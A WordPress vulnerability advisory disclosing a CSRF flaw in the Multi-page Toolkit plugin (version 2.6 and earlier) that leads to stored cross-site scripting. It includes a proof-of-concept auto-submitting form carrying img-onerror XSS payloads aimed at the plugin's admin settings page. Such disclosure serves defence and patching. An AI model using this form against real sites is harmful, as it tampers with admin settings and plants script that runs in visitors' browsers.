WordPress Plugin Vulnerabilities

Multi-page Toolkit <= 2.6 - Arbitrary Settings Update to Stored XSS via CSRF

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored Cross-Site Scripting due to the lack of sanitisation and escaping as well

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=TA_multi_toolkit.php" method="POST">
    <input type="text" name="mp1_display_all" value="True">
    <input type="text" name="mp1_display_all_text" value="View All">
    <input type="text" name="mp1_div_align" value="center">
    <input type="text" name="mp1_before" value="">
    <input type="text" name="mp1_after" value="">
    <input type="text" name="mp1_previouspagelink" value="«">
    <input type="text" name="mp1_nextpagelink" value="»">
    <input type="text" name="mp1_firstpagetext" value='On First Page"><img src onerror=alert(/XSS1/)>'>
    <input type="text" name="mp1_lastpagetext" value="On Last Page">
    <input type="text" name="mp1_quick_type" value="1">
    <input type="text" name="mp1_nav_type" value="2">
    <input type="text" name="mp1_nav_number" value="True">
    <input type="text" name="mp1_title_number" value="2">
    <input type="text" name="mp2_display_all" value="True">
    <input type="text" name="mp2_display_all_text" value="ALL">
    <input type="text" name="mp2_div_align" value="center">
    <input type="text" name="mp2_before" value="Page :">
    <input type="text" name="mp2_after" value="">
    <input type="text" name="mp2_previouspagelink" value="«">
    <input type="text" name="mp2_nextpagelink" value="»">
    <input type="text" name="mp2_firstpagetext" value="On First Page">
    <input type="text" name="mp2_lastpagetext" value="On Last Page">
    <input type="text" name="mp2_quick_type" value="2">
    <input type="text" name="mp2_nav_type" value="0">
    <input type="text" name="mp2_nav_number" value="True">
    <input type="text" name="mp2_title_number" value="2">
    <input type="text" name="seperator" value="2">
    <input name="seperator_code" value="</textarea>--~~~~~~~~~~~~--<img src onerror=alert(/XSS2/)>">
    <input type="text" name="ta_multipage_Submit" value="Update Options »">
    <input type="text" name="priority" value="99">
</form>
<script>
    document.getElementById("test").submit();
</script>

Affects Plugins

References

Classification

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-05-30 (about 1 years ago)
Added
2022-05-30 (about 1 years ago)
Last Updated
2023-02-24 (about 1 years ago)

Other